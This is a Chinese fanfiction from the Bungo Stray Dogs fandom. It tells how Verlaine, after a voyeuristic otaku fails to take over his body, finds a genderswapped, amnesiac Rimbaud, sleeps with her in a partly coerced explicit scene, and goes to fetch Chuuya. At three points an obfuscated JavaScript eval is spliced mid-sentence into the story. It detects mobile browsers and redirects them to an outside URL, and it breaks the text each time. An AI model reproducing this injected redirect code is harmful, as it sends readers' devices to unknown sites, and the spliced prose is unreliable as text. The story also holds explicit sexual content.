《魏尔伦的兰波小姐拯救计划》 1. 魏尔伦的神奇一天 原来中原中也是女的啊。 他之前还以为人气这么高的肯定是那种小白脸角色呢——不过今天这两个妹子的质量真不错。 昏暗的房间中,宅男A正一边单手翻看今天拍摄的原片,一边在桌子下鼓捣着什么。 A,一个常见的东亚宅男。如果非要说和普通的死宅有什么区别,大概就是投胎的运气比较好,能够凭借父母的遗产过上衣食无忧的生活,但即便如此,猥琐下流的性格还是让他从未能交上过任何一个女朋友。 前些日子,某个匿名论坛中认识的网友建议他,既然家里有钱,不如买台相机,试试做cos摄影,既可以看到很多漂亮妹妹,还能偷拍到不少“好东西”,不管是“自娱自乐”还是拿来卖钱都稳赚不赔。 A很心动,并当即付诸行动。 “呼……这个角色也好看……” 他抽空点了下鼠标,屏幕上切换到一张双人合照,黑色长卷发的女孩穿着浅米色的高领毛衣和墨绿格子长裙,怀抱着另一个JK打扮的橘发女孩,浅绿色的围巾松垮地围绕着女孩们的脖子,画面温馨而柔软。 “呼……呼……” 他想起来了,是叫兰棠?好像是日漫里常见的那种黑发温柔人妻。 大半天的拍摄行程中,A一直在偷听两个女孩的对话,她们似乎也是网络上刚认识不久的cos搭子,这次出的兰棠和中原中也的关系是嫂子和妹妹。 而那个坐拥如此漂亮的妻子和如此可爱的妹妹的男人叫什么来着…… 算了,不重要。 画面又切换到下一张照片,与前面几张不同,这张明显是偷拍视角,女孩们白皙纤长的小腿几乎占据整个画面, “呼呼……” 他点击着放大,从垂落的裙角下窥见安全裤蕾丝的边角,喘息越来越粗重黏腻,手上的动作也越来越快,全然没有注意到头顶的电灯忽然变得更加昏黄。 “额……啊——” 刚才还满脸兴奋的男人突然之间瞳孔紧缩,不顾脏污,抽搐着用手抓住自己的脖子,似乎完全无法喘息,痛苦的挣扎间,电脑的屏幕被撞得轰然倒下,发出剧烈的响声,却没能引起任何人的注意。 片刻后,一切陷入沉寂。 ———————————————————— “并非系统造成了您的死亡。” 入侵意识机械地再次解释, “在系统到达之前,您就已经心源性猝死了。” 至于原因,可能是连续通宵后的突然兴奋,也可能是长年累月下来的虚弱,谁知道呢? 但A不相信,他死死按住胸口——那里有浓浓的一片白光,是入侵意识的能源, “我的身体好得很,如果不是你突然砸中我,我怎么会死?” 还死在做手工活的时候,等尸体被发现肯定要社死了,不过居然能真的碰到什么系统…… 想到这里,那张原本还算端正的普通面容上扭曲出充满恶念和欲望的神情, “你得赔偿我。” “只要您归还能源,系统将为您在《文豪X犬》世界中创建一个全新的身体,并投放到绝对和平区域,保障您的安全。” 这是正在前往《文豪X犬》世界的入侵意识认为的最佳解决方案,然而A并不接受——《文豪X犬》世界不是个有异能的世界吗?他怎么能是个普通人? “你给我弄个异能——不,不行,异能也可能很弱。” 他摸摸自己的脸,又忽然想到那两个coser女孩的对话, “我要成为那个……那个魏什么……魏尔伦。” 即使在吐槽时也不忘赞叹的容貌和实力,足够他横着走,还有那么漂亮的老婆和妹妹,哦说起来妹妹好像还不是亲生的——就算是亲生的也无所谓,反正不是他的妹妹,照样可以收了,到时候再收几个不同类型的漂亮小老婆…… A一边畅想,一边忍不住“嘿嘿嘿”地猥琐笑起来。 “……” 入侵意识如果有人形,只怕已经忍不住狠狠翻个白眼了。 成为魏尔伦?想得真好,下次别想了。作为《文豪X犬》世界的外来生物之一,就算是世界意识都没办法直接拿吉维尔怎么样,更别提祂刚失败了一个世界,现在能量本来就不多。 “您这样的需求系统无法完成,《文豪X犬》世界并非脆弱的小世界,人物强度——” “——那你就别想要回能源。” A看出来了,因为撞击而留在他身上的这一大片能源对于这个“系统”来说非常重要,只要他抓着不放手,对方就必然会服软。 “……” 行,别怪我没提醒你。 一道白光闪过,原本只有白雾和A的空间中突然多了一个男人。 ——宛如神明的男人。 A的视线被瞬间被吸引,他直勾勾地看着那个男人沉睡的模样,目光缓缓从惊叹转为嫉恨和恶毒,同时带着“果然如此”的嘲讽, “这不是能做到吗,这就是那个魏尔伦是吧,快让我变成他。” “请您先签订灵魂契约:我会确保您的灵魂进入保罗·魏尔伦的身体,而您则会将所有能源奉还。” “嗯……不行。” 眼看目的轻松达成,A却又觉得是不是自己要的东西太简单,或者这个“系统”有什么东西藏着不给他。 浑浊的棕黄眼珠滴溜溜地转了两圈,A再次开口, “我要确保成为魏尔伦后会拥有那个叫作兰棠的老婆,还有叫作中原中也的妹妹,并且我能完美地使用魏尔伦的一切能力,绝对不会出现问题。” “……好的,系统会为您保障。” 入侵意识已经懒得跟他多说话,反正修改人类躯体性别所需要的能源并不多,祂也只负责一次性的性别修改,不包任何后续, “请您签订灵魂契约:我会确保您的灵魂进入保罗·魏尔伦的身体,并确保兰堂会成为您的妻子,中原中也会成为您的妹妹,同时您成功进入魏尔伦身体后,能够完美使用魏尔伦的一切能力,而您则会将所有能源奉还。” 好像没什么问题了。 A思索一会儿,又加了个条件, “还要给我一个完全没问题的账户,要有花不光的钱。” “您好,花不光的钱无法定义。” “那就……100亿美元。” “您好,条款已追加。” 一道白光打进A的额头,方才的要求都明确列在契约之中,A点点头,表示同意。 随着他的意愿明确,他的魂体也逐渐缩小成一个灰白的光球,其上洁白的能量被白雾状的入侵意识迅速吸收,随后,整片空间消失,魏尔伦的身体重重地砸在地面。 森林中,动物们被从天而降的男人吓了一跳,四散奔逃,阳光温暖和煦地穿透层叠的叶片,几缕光映在男人精致完美的脸上,不知过了多久,那双绮丽到非人的蓝色眼眸睁开,暗红色的火焰在其中一闪而过。 ———————————————————— 日本,东京,不知名咖啡厅。 金发蓝眼的高大男人坐在靠窗的位置,忽略了所有明里暗里的视线,静静地整理脑海中多出来的情报。 身体突然无法动弹的时候,魏尔伦还以为是吉维尔终于要冲破人格式的封锁,可接下来听到的话,却让魏尔伦愤怒得灵魂都在颤抖。 名为入侵意识的东西跟他私下沟通——有一个灵魂妄图取代他成为魏尔伦,并要将兰波和中原中也变成自己的妻子和妹妹。 为了能量,祂不得不完成对方的要求,但也会保证对方无法占据他的身体,希望他能够平静接受,不要挣扎,更不要解开吉维尔的封印。只要魏尔伦帮助祂达成交易,祂就会在离开之前,将兰波和中原中也的具体位置告知。 虽然不太清楚中原中也是谁,可是——兰波。 这个已经睽违两年多的名字,如同一道霹雳,将魏尔伦定在那里动弹不得。 兰波没有死? 人造神明强行压抑着怒火,同意了入侵意识的提议,一直等到那个肮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14871198|159563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脏的光球从胸口侵入,才不紧不慢地念出解放词,冷眼看着吉维尔的黑焰将那道灵魂烧得连灰烬都未能留下。 不过,会得到对方死前一天的大部分记忆倒是意外之喜。 文豪X犬?兰棠?中原中也?嫂子?妹妹? 魏尔伦的眉头越皱越紧,手上的咖啡杯几乎要不堪重负地裂开。 “先生?” 刚走到这边的店员咽了口口水,小心翼翼地提醒, “您是需要续杯吗?” “……不用,谢谢。” 金发的人造神明瞬间换上了礼貌温和的微笑,他看了眼已经有点裂缝的玻璃杯,声音满含歉意, “抱歉,刚才收到了不太好的消息,多的就当是补偿了。” 他扔下两张万元的日钞,站起身,直接离开。 “好的,没关系。” 店员忙不迭地点头,目送这位好看到让他有些窒息的外国人离去。 “哇,两万元?这个杯子我记得是老板从中古店买的,只要4000吧?” 一旁的另一个店员凑过来, “不过真的好帅啊……” “确实。” …… 魏尔伦没有听到背后多余的议论,他已经拦住了一辆车, “去横滨。” “横滨?先生,那边可不太平啊,而且——” “——去横滨。” 魏尔伦微笑着,掏出一沓万元日钞, “送我到那就行。” “……好的,请您系好安全带。” ———————————————————— 兰波——或者用她默认下来的假名称呼,兰堂小姐的步伐有些迟疑。 这条小巷是从她那个破旧的小家到帮派总部的捷径,因为要穿过一部分擂钵街,所以除了她以外,平时基本不会见到任何人。 可现在,巷口却站着一道高大的身影。 是帮派的敌人?她就说那老头有点不靠谱,还要做什么PortMafia,不然还是换个工作?可她没有身份证明,异能力现在也时灵时不灵…… 兰堂有些发愁,她悄悄握紧了背后的匕首,试图从一旁绕路过去。 但男人果然如她所料般动了一下,继续拦住去路。 ……真的是冲她来的啊?失忆前的仇家吗? 兰堂皱着眉,放轻声音, “你是谁?” 男人似乎被这句话吓到了,他急切地向前走了两步,而兰堂也终于能看清对方的模样——灿金色的发丝,湛蓝的眼眸,夏日的暖光勾勒出精致完美的轮廓,带着令她的头和心脏都隐隐作痛的熟悉感。 有什么声音在尖叫,兰堂呆愣地看着男人, “我们……以前认识吗?” “……” 金发男人的神情更加复杂了,他沉默了很久,然后忽然微笑起来, “不认识。” 魏尔伦伸出手, “但现在认识了,你可以喊我保罗。” 骗人之前至少要做好表情管理才行。 兰堂下意识想要开口教育,又生生忍住,她看着那只包裹在白色手套中,也能看得出干净修长、线条优美的手掌,迟疑片刻,握了上去, “兰堂。” “你好,兰堂小姐。” 魏尔伦的微笑变得真诚起来, “我是来横滨游玩的,或许您愿意成为我的导游?” 保罗这个名字也有种熟悉感。 一个明显是失忆前认识的人,用欺骗的语言要求共处,怎么想都应该提高警惕赶紧推脱离开,而不是像个傻瓜一样答应下来。 可她好像拒绝不了。 兰堂抿了抿嘴,点头同意的同时,惊恐地发现心跳的速度变得极快,像是有瑰丽的蝴蝶在心脏里纷飞。 完蛋了。 兰堂面无表情地给上级发了请假的消息,一边被魏尔伦牵着手向前走,一边在心里幽幽地叹息——她不会对这个漂亮家伙一见钟情了吧? 2. 这发展对吗? 说是让兰波当导游,魏尔伦的前进方向却非常有目的性。 他牵着兰波变成女性后更加纤瘦小巧的手,将神色迷茫的黑发女孩带进了横滨硕果仅存的最大商场中。 “您好,这件、这件还有这件,请帮我拿……嗯,34a的尺寸。” 魏尔伦的表情相当淡然,兰波却恨不得立刻逃离, “您……是要……?” “我估测错了吗?” 金发青年歪歪头,又打量了一下裹在厚重风衣里的黑发女孩, “应该没有错,不过你确实太瘦了。” 从刚才看到兰波的第一眼,他就已经这样觉得。 兰波一直都很瘦,但以前即便瘦,也绝不是这样瘦到病态,甚至有些吓人的程度。175左右的身高,目测的体重却最多只有47千克,浑身上下的皮肉都紧紧贴在骨头上,手腕细得他一只手就能捏住两个。 ——是他的错,是他犯下的罪孽。 魏尔伦垂眸,放轻声音, “去试试吧,兰堂小姐。” 问题在于尺寸吗? 兰波的嘴角抽搐了一下,只是还没等她再说什么,店员已经面带微笑地将尺码合适的三套内衣递到她手上。 “……” 有种熟悉而陌生的心累感。 兰波拿着内衣走进试衣间,皱着眉脱下外套——好在现在是夏天,她勉强还能接受室内的温度。 走出内衣店后,魏尔伦又拉着她走进一家看起来就非常贵的奢侈品店。 兰波坚定地拒绝了短裙和半长裙,魏尔伦也没有勉强她,只给她选了两身长裙和一条连衣裙,又拿了几条配色不同的羊绒围巾,几件款式大差不差的衬衫和长裤,最后选了三件颜色深浅不一的外套和三双精致的皮靴。 “……我不戴这些。” 兰波看着一托盘的珠宝,缓缓摇头。 衣服还好说,但这些东西放在她一个中低层的帮派成员身上,和炸弹没区别。 魏尔伦看着虽然还裹得严严实实,但已经从头到脚从里到外都焕然一新的兰波,托着下巴思索片刻, “请帮她量一下腰围,定制三件腰封,不要鱼骨——有小女孩穿的衣服吗?” 一名店员迅速拿出了软尺,另一名店员则飞速推来了一排童装, “这些您看可以吗?” “?” 兰波有些呆楞地抬手,配合店员的动作, “小女孩?” “嗯。” 魏尔伦点头,他也是刚想起来还有中原中也, “是我的妹妹,我这次来横滨的理由之一就是接她离开。” 金发青年低着头,给之前联络过的跑腿发去信息,同时将卡递给店员, “不要裙子,要颜色鲜亮一些的裤装,她今年……10岁,个子应该不是很高,最小号和中号各来两套。” 能穿就穿,不能穿就扔,更多的可以等明天接到人之后再买。 兰波有点无语, “那您还需要我做什么呢?” 听起来完全没必要找导游的样子,对自己的借口多少也上点心吧? “……” 魏尔伦沉默下来——说实话,他清楚自己有点过分冲动,在确定兰波的位置后,几乎没有做任何准备就找了过来,如果不是兰波确实如那一小段记忆中所言一样失忆了,他肯定要被彩画集定在椅子上聆听一大通教育。 但他也确实无法等待。 他一直以为兰波死了,死在那场爆炸中,死在他的背叛下。 可是兰波还活着。 这足以成为他一切行动的理由。 “保罗?” 见魏尔伦迟迟不说话,兰波拎起一旁的购物袋,礼貌地询问, “我们可以走了吗?” “……嗯。” 魏尔伦微笑着刷了卡, “兰堂小姐有什么推荐的餐厅吗?” “没有。” 兰波简直想按着魏尔伦好好教育一下。 既然要接近她,不应该提前调查好相关资料吗?她是一个在擂钵街附近摸爬滚打的失忆人士,最近这一年异能力相对稳定一些后,才勉强过得好了点的外来黑户,哪有什么钱享受高档餐厅? “那就去我挑选的餐厅吧。” 魏尔伦将她手中的购物袋全数接过来, “就在楼上。” “……” 兰波在算自己今天到底无语了多少次,有点算不清。 而对面的魏尔伦还在一道一道地介绍, “……炭烤小羊排,做得比较嫩,是你喜欢的口感,等会儿有橘香蛋挞,少放了糖,还有这道奶油蘑菇鸡,同样是你喜欢的不太甜的口味。” “我喜欢的?” “……我是说,你会喜欢的。” 魏尔伦状若无事地解释, “兰堂小姐看起来不太喜欢吃甜食的样子。” “……” 你怎么不说你去中国学过算命? 兰波深吸一口气,没有戳穿魏尔伦相当蹩脚的借口——至少可以确定,这个漂亮家伙和失忆前的她绝对很熟,才能对她的穿衣风格和饮食喜好都了如指掌。 她叉起一块切好的小羊排送入口中, “谢谢。” ———————————————————— 晚餐很美味,魏尔伦也很开心,甚至开心到喝了三杯红酒。 也正因此,兰波不得不从他口中问出住址,并把醉醺醺的金发青年送回酒店。 两年多前的那场爆炸虽然令横滨的发展停滞,却也让横滨的夜色逃离了工业污染。魏尔伦定下的高层酒店中,即使不开灯,也有明亮的月光透过落地的玻璃窗,照耀整间卧室,窗外波光粼粼的大海更是一览无余。 “兰……” 错读的假名在唇舌间绕了两圈,最终还是被咽下,魏尔伦看着打算推门离开的兰波,方才喝下的红酒忽然涌了上来,他大跨步上前,从背后将兰波拥进怀中, “兰波、兰波、兰波……别走……” “……!” 兰波被吓了一跳,呆愣片刻,那股压抑了大半天的无奈又涌上心头——这家伙还真是一点都不会伪装啊?相处中就露出那么多破绽不说,现在更是直接给了她确定自己身份的机会。 看来,那顶帽子中的单词,确实是她的名字。 她不叫兰堂,她是兰波,一名法国人。 魏尔伦还在呢喃地呼喊她的名字,兰波想了想,换成法语回应, “怎么了,保罗。” 这样熟悉的语气,令金发青年瞬间瞳孔紧缩,克制不住地颤抖起来, “是我、是我,对不起,兰波、兰波……” 他将怀中女孩过于纤瘦的身体转过来,凝视着那双已经太久太久都没见过的碧绿眼眸,本就因醉意而有些迷糊的大脑,现下更是混沌一片,全然忘记了伪装的陌生人身份,一边黏黏糊糊的胡乱在兰波的脸颊和颈窝磨蹭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14871199|159563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着,一边嗓音低哑地道歉, “兰波、兰波,对不起。” 对不起? 为什么要说对不起? 是你将我扔在这里的吗? 是你冲我开了枪,留下手腕上那道一直没能完全愈合的枪伤吗? 心脏裹挟着理智,在兰波的胸腔里哀号着共鸣的悲伤,头很痛,质问的话语翻滚着撞击,却完全问不出口,也生不出半点怨恨。 兰波蹙着眉,唇角勾起自嘲的弧度。 她其实没什么资格说魏尔伦伪装得太差,因为她今天也很反常,这样一个趁机哄骗和审问的大好机会摆在面前,她却对答案失去了兴趣。 真可怕啊,初见的悸动居然来自灵魂——她居然是真的、真的很爱这个笨拙的漂亮家伙,不管是失忆前,还是什么都一片未知的现在。 黑发女孩仰起脸,任由魏尔伦滚烫的呼吸穿透肌理,直到有成串的泪珠滚落,滴在她的围巾上,她才抬起手,抹去金发青年脸上的泪痕, “别哭了,保罗。” 兰波扯住魏尔伦的领带,直接吻了上去。 “!?” 魏尔伦惊讶地睁大了眼,理智告诉他应该推开,可唇上微凉柔软的触感却让他下意识搂紧兰波,遵循着本能,往更加深入的地方探寻甜蜜。 兰波有点后悔了。 她对两人的关系推测出了错——魏尔伦刚开始的反应明显就是和她一样没有经验,而且她的身体还是太虚弱,根本没办法掌控主导权,只能喘息着攥紧魏尔伦的衣服,看着那张面色酡红的漂亮脸蛋,恨恨地咬上对方微微颤动的喉结,打算到此结束。 可惜,魏尔伦并不这样想。 被咬了一口的金发青年闷哼一声,委屈地眨眨眼,又牢牢地掐住兰波纤细的腰肢,呜咽着吮吻她的颈侧。 “……放、放开……” 兰波推拒着,淡金色的流光一闪而过,瞬间被暗红色的光芒压制,魏尔伦的表情看起来可怜极了, “不要走……兰波……” “……” 而兰波喘着气,悲哀地发现自己根本没对这样半强迫的行为感到分毫的厌恶。 算了。 她又看了看魏尔伦那双水光潋滟的蓝眸,干脆自暴自弃地蹬掉皮靴,勾住魏尔伦的脖子, “……去床上。” 床、床上? 魏尔伦刚才好不容易清醒了一些的大脑又瞬间糊涂起来,身体倒是非常诚实地听从了命令,将黑发女孩打横抱起,轻柔地放在床上。 然后,开始无师自通地拆礼物。 羊绒的围巾和风衣,精致的袖扣和领结,舒适的衬衫、双排扣的腰封,垂顺厚实的长裤…… 下午逛街时一件件精心挑选的衣物都被扔到床下,只剩下黑色的蕾丝仍在半遮半掩,同样黑色的长发打着卷儿在床上铺散,映衬着兰波苍白秀丽的面容。 魏尔伦的手有些发抖,他轻轻抚摸着兰波的脸,还带着咬痕的喉结滚动了两下,又难以自拔地吻了下去。 同样青涩的二人在接吻中毫无经验,依然是凭借本能的交缠,来不及吞咽的口水从唇舌间隙滴落,垂坠出泛着微光的银丝。 “可以、可以吗?” 魏尔伦喘息着,撒娇似的询问。 兰波浑身酥软,恨不得翻个白眼给他——亲也亲了摸也摸了,现在这个姿势她说不同意有用吗? 她咬着下唇,努力地抬起腿,勾住魏尔伦劲瘦的腰身,直接用行动表示了意愿。 3. 值得骄傲的事情? 魏尔伦已经很久没睡过这样安稳的好觉。 日光穿透纱帘,照亮了整间卧室,也彻底唤醒了沉睡中的人造神明。他睁开眼,下意识动了一下,湛蓝的双眸中闪过一丝迷茫。 昨天…… 怀中的人似乎对他醒来后的动作不是很满意,低哑地呼了一声痛,又把头向魏尔伦怀里钻了钻,埋得更紧。魏尔伦茫然地低下头,乌木色的柔软卷发刚好扫过他的鼻尖,也令他彻底清醒过来。 !!!??? 兰、兰、兰、兰、兰波!? 他和兰波? 魏尔伦全身上下的肌肉都猛然紧绷起来,原本搂在怀中人肩头和腰上的手掌也瞬间收紧,又在下一秒被滑软的皮肉与锋利的骨骼烫到松开,他定定地凝视着那张脸,大脑一片空白。 浓黑纤长的眉微微蹙着,薄红的眼睑,蝶翅一般的睫羽颤动了两下,缓缓睁开,露出其中无价的一对碧绿宝石,有些红肿的唇抿了抿,声音带着浓浓的倦意, “保罗?” 听到这声呼喊,魏尔伦呆呆地应了一声,又下意识搂得紧了些,嗓音低哑, “兰波。” 是兰波。 还活着的,温热的,安静躺在他怀里的兰波。 “……” 兰波觉得不行。 她深吸一口气,努力瞥了眼挂钟,不由得攥紧了拳头, “我刚睡着两·个·小时。” 她咬着牙加重了数字的读音, “我很困。” ? 看着那张依然如在梦中,似乎完全没理解她在说什么的漂亮脸蛋,兰波终于忍不住翻了个白眼,裹在被子里的手狠狠地掐了下精神抖擞到令她深恶痛绝的凶器。 “唔嗯!” 魏尔伦闷哼一声,却不是因为痛。 不过这样直白的动作也不是毫无用处,方才离家出走的理智又归拢,魏尔伦好像被谁用番茄砸了脸,白皙的脸颊瞬间红到烫人,他手忙脚乱地向后退了退,想要说些什么,却嗫喏着说不出话来。 兰波探出手摸索了两下,抓住魏尔伦的黑衬衫披在肩头,然后皱着眉头坐起身来, “保罗。” 说起来,她甚至都还不知道对方的全名,黑发女孩叹了口气,无奈地提出要求, “你能去帮我买盒紧急避孕药吗?” 魏尔伦眨了眨眼,快要冒烟的大脑又努力地转了两圈,才理解了兰波的意思,随后,那张原本通红的脸瞬间变得惨白, “为什么?” “……?” 啊? 兰波觉得头疼——昨天还是个好好的成熟绅士,怎么一晚上过去就听不懂人话了? “紧急、避孕、药。” 她又重复了一遍, “我要避孕。” “……好。” 魏尔伦已经彻底恢复了正常,只是唇角依然不甚明显地压着, “我去买,你……再睡一会儿吧。” ……又怎么了? 兰波已经快要丧失所有力气,她看着满脸都写着“我不开心”的魏尔伦,干脆拽住对方的辫子,掰着那张漂亮脸蛋,强行索要了一个十分深入的早安吻, “我们刚认识一天。” 她小口小口地喘息着, “就算要让我给你生孩子,至少该让我知道孩子的父亲姓什么吧?保·罗·先·生·。” 魏尔伦的脸色红了又白,最终恢复正常,他看着兰波,定定地沉默着,直到心脏快要从咽喉中跳出来,才嗓音干涸地开口, “保罗·魏尔伦。” 他闭上眼睛,迎接也许会到来的审判, “我的名字是——保罗·魏尔伦。” “……好的,保罗·魏尔伦先生。” 额角像是被重锤击打,几欲裂开般疼痛,兰波掐着掌心,挤出自然温和的微笑, “去买药吧。” “……嗯。” 魏尔伦买完东西回来时,兰波已经又睡着了,金发青年犹豫片刻,还是没有喊醒她,而是将地上凌乱的衣服归拢起来,交给了酒店的管家,随后静静地坐在床边。 兰波完全不记得他了。 魏尔伦没有系统地学过医,谍报课程中倒是有一部分,但他没什么学习的必要——他的身体比普通人类要强悍太多,再加上超越者级别的异能力,很难在战斗中受伤。 所以他只能大概判断出,兰波的失忆应当是外伤所致。 毕竟在魏尔伦看来,兰波的心理非常强大,先不说她会不会因为背叛而产生心病,就算真的是因心病而失忆,那么在见到他,得知他的名字时,也早该恢复记忆了才对。 可是这样说来,又出现了第二个问题。 魏尔伦的面色阴晴不定,昨晚的景象再次清晰地出现在眼前,疼得咬他的兰波、趴在他耳边喘息的兰波、紧紧缠着他的兰波、哭泣求饶的兰波、咬牙踹他,又被他抓着脚踝拽回来的兰波…… ——既然兰波完全不记得他了,为什么会愿意和他做.爱? 因为这张脸? 魏尔伦知道自己长得很好看,以人类的角度来说的话,甚至算得上完美无缺。兰波也曾经很多次夸过他漂亮。 可失忆后的兰波会这样肤浅吗?如果有别的长得好看的人邀请她,她也会同意吗? 不、不会有人比他更好看。 魏尔伦撇了下唇,有梅子味的跳跳糖钻进心里,脸上的表情最终定格成算不上开心也不能说悲伤的诡异模样,他伸出手,轻轻触摸兰波瘦削苍白的脸颊,默默把原定计划中“直接送兰波回铁塔”这条删掉。 兰波现在这样不能回铁塔,失忆、丧失了大半异能力,还变成了女性,再加上以前的同事很多都在战后退休了,没人能护住她,她会被铁塔高层那群老狐狸压榨完所有利用价值后随手丢掉的。 忽略尚且身居高位的雨果和波德莱尔,魏尔伦点点头,将计划改为“带着兰波和妹妹一起环游世界”,随后搂住兰波,安静地睡下。 ———————————————————— “嘟……嘟……嘟……” 床头柜上的电话响到第三声,才有一只纤瘦苍白的手从柔软的被褥中伸出, “您好?” 兰波打了个小小的哈欠,嗓音却十分清明, “有什么事情吗?” 电话那头的人顿了一下,似乎对于接电话的是个女性有些迟疑, “我找魏尔伦先生。” 兰波眨眨眼,将话筒递给魏尔伦,翻身下了床,宽大的黑色衬衫将将盖住她的腿根,露出纤长笔直的两条腿,她扶着腰,勉强伸展了一下, “我去洗漱。” 魏尔伦坐起身,接住电话, “什么事?” “您昨天委托我找的橘发女孩已经找到了。” 电话那头的跑腿站在擂钵街随处可见的残垣断壁后,抽了口烟, “地址我发给您,麻烦您转下尾款。” 放在另一侧床头柜上的手机嗡动了一声,魏尔伦挥挥手,手机便飞了过来,他检查了一下照片和地址,爽快地转了钱。 “兰波。” 反正已经喊了无数次本名,魏尔伦破 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14871200|159563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罐子破摔,不打算再伪装,他站在兰波身后,透过镜子看着正在刷牙的黑发女孩,犹豫地邀请, “和我一起离开横滨吧。” “……” 兰波叹了口气,弯腰吐出泡沫,然后用牙刷戳了戳他的脸, “我没有身份证明。” “我可以帮你补办一个。” 魏尔伦别过脸,躲开兰波亲昵的行为, “给你一个合法的身份。” “……” 又又又怎么了? 兰波觉得自己完全弄不懂魏尔伦,她把心里对眼前人的称呼从漂亮家伙换成麻烦的漂亮家伙,随后装若无事地收回手, “那就多谢魏尔伦先生了。” 她想了想,又故意补上一句, “您是希望我成为您的长期佣人吗?” !? “当然不是。” 魏尔伦皱着眉头,否定得很急切, “你不是佣人,是……” 是我的搭档?亲友? 可他已经背叛了这段关系,背叛了兰波的信任和友情。 魏尔伦不知所措地愣在原地,兰波透过镜子,看着那双瑰丽如同宝石的湛蓝色眼眸,不禁开始怀疑——难道失忆前的她和这个麻烦的漂亮家伙,是互有好感的敌人?而且还是她伤害了对方很多次那种? 否则真的很难解释,为什么一看到对方这个样子,她除了想居高临下地教育对方该怎么做以外,就只想轻声安慰。 可惜,从重伤醒来到现在已经两年多,脑内的血块没有消除的趋向,她的身份也没有任何线索,兰波不敢大张旗鼓地寻找,只能一点点搜集相关情报,想要知道和魏尔伦的真实关系,也只能从对方身上入手。 反正只要跟在对方身边,她就有无数种方法得到关于自己过去的信息。 兰波摇摇头,声音温和, “没关系。” 她拆开另一套洗漱用品,递给魏尔伦, “赶紧洗漱好,等下不是还要去接妹妹?” 魏尔伦接过牙刷,乖巧地开始刷牙。 ———————————————————— “中原中也?” 兰波有点疑惑, “你确定这是你妹妹的名字?” “是的。” 魏尔伦点点头——原本应该是弟弟,现在是妹妹,不过都无所谓, “兰波知道她?” 他在那个肮脏灵魂的记忆里有看到过,妹妹似乎当过一段时间小帮派的头领,是在这时候和兰波认识的吗? “没有。” 兰波倒不是因为听过这个名字而疑惑,单纯是因为这个名字怎么听都不像小女孩——啊,说到孩子。 她摸了摸背包,又打开魏尔伦的皮箱,甚至连只装着衣服的行李箱都用异能力覆盖着探查了一遍,然而一无所获。 “在找什么?” 魏尔伦将车停在擂钵街的入口,冷冷地瞥了眼附近明里暗里想要凑近抢车的人,强大的压迫感令那些暗处的老鼠畏惧得逃离,兰波却丝毫没有感受,她盯着魏尔伦,压低声音询问, “避孕药呢?” “……” 魏尔伦的眼神游移了一下,随后斩钉截铁地回答, “不用吃。” 他颇为自豪地解释, “我不能生育。” 牧神创造他的时候用了太多杂糅的基因,他的身体根本就不算纯人类,和人类结合也不可能诞育孩子*。 “……???” 兰波不理解,兰波大为震撼。 4. 价值不菲的橘色小羊羔 魏尔伦觉得自己的解释简洁明了,能够让兰波永无后顾之忧,实在是再正确不过的决定。 而兰波在思考——难道是失忆前的自己把这漂亮笨蛋弄得丧失了生育能力?那看来他们确实曾经是敌人? 好在留给兰波思考的时间没那么多,她才没能把思维跑得更偏一些。 魏尔伦打开车门时,被兰波用略带怜悯和自责的眼神注视,有些疑惑地询问, “怎么了?” “……没什么。” 兰波摇摇头,牵着魏尔伦的手下了车。 成年人出现在擂钵街的情况并不罕见,但两位看起来就相当有钱的成年外国人出现在擂钵街这种事情,可以说从未发生过。魏尔伦与兰波前行的一路上,四周聚集起许多双小眼睛,无家可归的孩子们自以为声音极小地讨论着, “他们来干吗的?” “我听说昨天有人来找人。” “难道有孩子流落在这边了吗?” “……如果是来找孩子领养的呢?” “……” 空气寂静下来,不知过了多久,连两名外来者的背影都彻底消失后,才有一道细小沙哑的声音否定, “不要妄图寻求他人无偿的帮助——走吧,银。” 聚集的孩子们作鸟兽散,魏尔伦与兰波也抵达了目的地。 “你们是谁?” 银白发的小男孩十分警惕地拦在门口, “有什么事情吗?” “找人。” 魏尔伦的声线很好听,清澈干净,优雅动人,他温和地微笑着,向屋内张望了一眼,果然看到了一抹亮眼的橘色, “我的妹妹,中原中也,她在这里。” “……?” 金发青年说话的声音并不小,屋内的孩子们听得一清二楚,中原中也呆呆地指了指自己, “我?” 她的哥哥? 然而还没等她雀跃地站起身来,就有数道嫉恨的视线从四周射来,橘发女孩被那些目光定在原地,她徒然地张开嘴,不知该说什么。 于是粉发女孩先她一步开口, “中也是日本人,你们明显不是吧?” 她似乎在真心地为中原中也考虑, “你说你是中也的哥哥,我们就要相信吗?谁知道你要带着中也去做什么?” 门口的银白发男孩也点点头,仍然贴着门框站着,没有让路的意思, “我们不会把中也交给你们的。” 